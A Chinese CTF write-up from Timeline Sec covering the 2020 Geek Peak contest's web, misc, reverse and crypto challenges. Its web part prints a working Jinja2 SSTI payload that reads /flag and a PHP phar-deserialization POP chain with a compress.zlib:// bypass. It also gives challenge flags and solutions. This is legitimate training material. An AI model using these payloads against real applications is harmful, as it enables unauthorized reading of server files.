极客巅峰2020 部分WriteUp

  • A+
所属分类:逆向工程

极客巅峰2020 部分WriteUp



极客巅峰


Web

babyflask

简单的模板注入,登陆时用户名存在注入,并且只在前端过滤字符,POC:

极客巅峰2020 部分WriteUp

找到_frozen_importlib_external.FileLoader类 :

极客巅峰2020 部分WriteUp

利用该类读flag,payload: 
/loged?name={{[].__class__.__base__.__subclasses__()[79].get_data(0,'/flag')}}

极客巅峰2020 部分WriteUp


babyphp2

首先扫描发现存在源码泄露,访问www.zip可得源码。
整个程序有登录、上传、读取三个功能,且存在classes.php可用于反序列化。
可以想到是phar反序列化,登录功能是迷惑人的,不影响上传和读取功能。

POP链的构造:

require_once 'classes.php';$dbct = new dbCtrl();$user = new User();$reader = new Reader();$user->nickname = $reader;$user->backup = '/flag';$dbct->token = $user;

生成phar的payload:

<?phprequire_once 'classes.php';error_reporting(E_ALL);$dbct = new dbCtrl();$user = new User();$reader = new Reader();$user->nickname = $reader;$user->backup = '/flag';$dbct->token = $user;@unlink("phar.phar");$phar = new Phar("phar.phar"); //后缀名必须为phar,但是在构造好后可以更改$phar->startBuffering();$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub$phar->setMetadata($dbct); //将自定义的meta-data存入manifest$phar->addFromString("test.txt", "test"); //添加要压缩的文件以及解压调用时的入口//签名自动计算$phar->stopBuffering();

上传后,因为read不能以phar开头,使用compress.zlib://phar://绕过:

极客巅峰2020 部分WriteUp

得到flag:

极客巅峰2020 部分WriteUp
Misc

★签到题

拼图完成后获得flag

FLAG值:

flag{52b79f47-dd72-4be9-9efe-f3a116dabd6d}


baby_forensics

首先拿到是压缩包里的一个二进制文件,不知道具体是什么,那就先看下是什么文件

极客巅峰2020 部分WriteUp

发现是个流量包,改下后缀,用wireshark分析下。

打开后发现是IEC 60870-5-104协议,并且通过tcp的传输流得到了客户与服务端的通信报文,如下图:

极客巅峰2020 部分WriteUp

用专门的iec分析工具来看看整体的传输过程

极客巅峰2020 部分WriteUp

通过对iec104标准的协议格式解析来看,能够判断在开启也就是on状态传输下的I帧中传输的是有用的数据,如下图

极客巅峰2020 部分WriteUp
极客巅峰2020 部分WriteUp

于是将所有的数据1项全部提取出来,并且将信息对象地址按照顺序列出,并且结合该地址是on状态即为1,没有标注即为0
2 3 6 7 10 11 13 14 19 20 22 26 27 31 32 30 40 38 39 37 34 36 42 47 46 50 54 53 64 58 66 70 72 71

标注后结果为:
011001100110110000110100011001110101111101000110010011000100000101000111

转换一下即得到隐藏的flag

极客巅峰2020 部分WriteUp

最终flag为
flag{1f363c8468013726578830465d4739fe}


Reverse

virus

IDA反编译,可以看出flag是用'-'来切割的,分为4段,对应4个迷宫,先把迷宫单独切出来,根据‘-’切割出来的字符数量可以找出对应的迷宫,写出路径

|||||||||||||||||||0 #1 1||s|||||||||||||d||0 sdsdsdsdsdsdsddwdwdwdwdwdwdw 28||..|||||||||||..||0|||..|||||||||..|||0||||..|||||||..||||0|||||..|||||..|||||0||||||..|||..||||||0|||||||..|..|||||||0||||||||...||||||||0|||||||||||||||||||0|||||||||||||||00000 #0 3|||||||||||||||00000|||||||||||||||00000 dddddddddsssssaaaaaaaaawww 26||s.........|||00000|||||||||||.|||00000||d||||||||.|||00000||.||||||||.|||00000||.||||||||.|||00000||..........|||00000|||||||||||||||00000|||||||||||||||00000 #1||.........s|||00000||.||||||||||||00000 #2 aaaaaaaaasssssssddddddddd 25||.||||||||||||00000||.||||||||||||00000||.||||||||||||00000||.||||||||||||00000||.||||||||||||00000||.........d|||00000|||||||||||||||00000|||||||||||||||00000|||||||||||||||00000|||||||||||||||00000 #3|||..........||00000 |||.||||||||.||00000|||.||||||||.||00000|||.||||||||.||00000|||.||||||||.||00000|||s||||||||d||00000|||||||||||||||00000 wwwwwdddddddddsssss 19flag{4312-wwwwwdddddddddsssss-aaaaaaaaasssssssddddddddd-dddddddddsssssaaaaaaaaawww-sdsdsdsdsdsdsddwdwdwdwdwdwdw}


FLAG值:

flag{4312-wwwwwdddddddddsssss-aaaaaaaaasssssssddddddddd-dddddddddsssssaaaaaaaaawww-sdsdsdsdsdsdsddwdwdwdwdwdwdw}


fu!k_py

uncompyle6 反编译pyc文件,得到py文件,大致逻辑如下

极客巅峰2020 部分WriteUp

可以看出代码有一个9*9的约束条件,应该是一个数独,将二维数组的内容提取出来,大概长这样

极客巅峰2020 部分WriteUp

填入数独在线解题网站
解出结果如下:

极客巅峰2020 部分WriteUp

FLAG值:
flag{145327698839654127672918543496185372218473956753296481367542819984761235521839764}


Crypto

tryecc

首先算出A和B:
N = 598756982846857855564861803797067906933452532971372536192231C = 4480960863875584511148612202888184984874434295853921P1 = (40868726519566019162794925971370501749760105301423309229554,54687980868371628310908123178978977864897123871328723)P2 = (235149117685317066108245267690004572936544028030457002179126, 1289371238921298371232163781261298731812137628190)x, y = P1t = (y**2 - x**3 - C) % Nx_1 = inverse_mod(x, N)A = (x_1 * t) % Nprint Ax, y = P2B = (y**2 - x**3 - A*x) % Nprint B

注意到N不是素数并且可以很快分解,因此用分解出的两个数分解建立椭圆曲线,然后小子群攻击,将最后的结果全部求CRT即可

from sage.all import *from Crypto.Util.number import *
def get_factors(N): res = [] for item in factor(N): p, times = item res += (

* times) return res
N = 598756982846857855564861803797067906933452532971372536192231
C = 4480960863875584511148612202888184984874434295853921B = 301433075006245665142066249069379803968009253292294929A = 693404150690001177841293118214270948684961862980427571

factors = get_factors(N)print factors

all_primes = []all_dlogs = []for p in factors: P2 = (235149117685317066108245267690004572936544028030457002179126, 1289371238921298371232163781261298731812137628190) P3 = (230807308713660443214609900462802224133677339138938919914236, 15979270783196203822523802015845150885928738960540101206481) P4 = (48539794908526618490272854315619275063139157075919926757183, 253317587580758121061061480314672531383057603048054780326781)
E = EllipticCurve(GF(p), [A, B]) P2 = E.point(P2) P3 = E.point(P3) P4 = E.point(P4)
dlogs = [] primes = get_factors(P2.order()) for prime in primes: t = P2.order() // prime # dlog = discrete_log(t*P3, t*P2, operation='+') dlog = discrete_log(t*P4, t*P2, operation='+') dlogs.append(dlog)
all_primes += primes all_dlogs += dlogs
m = crt(all_dlogs, all_primes)print long_to_bytes(m)



我们欢迎每一个对技术充满热情的同学

如果你和我们一样,想做出点成绩

这里给你无限的空间,任你翱翔

进组方式,简历投递邮箱[email protected]



极客巅峰2020 部分WriteUp

极客巅峰2020 部分WriteUp
欢迎真正热爱技术的你!
Timeline Sec 团队
安全路上,与你并肩前行




本文始发于微信公众号(Timeline Sec):极客巅峰2020 部分WriteUp

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: